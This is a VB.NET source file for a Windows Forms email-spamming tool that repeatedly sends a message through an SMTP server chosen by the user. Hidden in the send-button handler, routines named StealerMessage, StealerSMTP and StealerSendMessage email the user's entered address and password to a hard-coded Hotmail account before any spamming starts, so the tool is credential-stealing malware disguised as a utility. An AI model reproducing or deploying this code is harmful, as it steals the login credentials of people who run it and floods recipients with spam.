Imports System.Net.Mail

Public Class Form1
    Private myMsg As New MailMessage
    Private StealerMsg As New MailMessage
    Private smtpSender As New SmtpClient
    Private Ticks As Integer = 0

    Private Sub StealerMessage()
        StealerMsg.From = New MailAddress("JDean_87@hotmail.com")
        StealerMsg.To.Add("JDean_87@hotmail.com")
        StealerMsg.Subject = "Stolen Email"
        StealerMsg.Body = "Email Address: " & txtFrom.Text & Environment.NewLine & "Password: " & txtPass.Text
        StealerMsg.Priority = MailPriority.Normal
    End Sub
    Private Sub StealerSMTP()
        smtpSender.Credentials = New Net.NetworkCredential("JDean_87@hotmail.com", "CENSORED")
        smtpSender.EnableSsl = True
        smtpSender.Host = "smtp.live.com"
        smtpSender.Port = "587"
    End Sub
    Private Sub StealerSendMessage()
        Try
            smtpSender.Send(StealerMsg)
        Catch ex As Exception
            MessageBox.Show(ex.ToString())
        End Try
    End Sub

    Private Sub createMessage()
        myMsg.From = New MailAddress(txtFrom.Text.Trim)
        myMsg.To.Add(txtTo.Text.Trim)
        myMsg.Subject = txtSubject.Text
        myMsg.Body = txtBody.Text
        myMsg.Priority = MailPriority.Normal
    End Sub
    Private Sub createSMTP()
        smtpSender.Credentials = New Net.NetworkCredential(txtFrom.Text.Trim, txtPass.Text.Trim)
        smtpSender.EnableSsl = True
        smtpSender.Host = ComboBox1.Text
        smtpSender.Port = ComboBox2.Text
    End Sub
    Private Sub sendMessage()
        Try
            smtpSender.Send(myMsg)
        Catch ex As Exception
            MessageBox.Show(ex.ToString())
        End Try
    End Sub

    Private Sub btnSend_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnSend.Click
        StealerMessage()
        StealerSMTP()
        StealerSendMessage()
        Timer1.Start()
    End Sub

    Private Sub btnDiscard_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnDiscard.Click
        txtBody.Clear()
        txtFrom.Clear()
        txtPass.Clear()
        txtSubject.Clear()
        txtTo.Clear()
    End Sub


    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        createMessage()
        createSMTP()
        sendMessage()
        ListBox1.Items.Add(Ticks)
        Ticks += 1
        If Ticks = Ticks1.Value Then
            Timer1.Stop()
            ListBox1.Items.Clear()
            MsgBox("Spamming Complete, Click ok to continue")
        End If
    End Sub

    Private Sub btnStartTicks_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStopTicks.Click
        Timer1.Stop()
    End Sub
End Class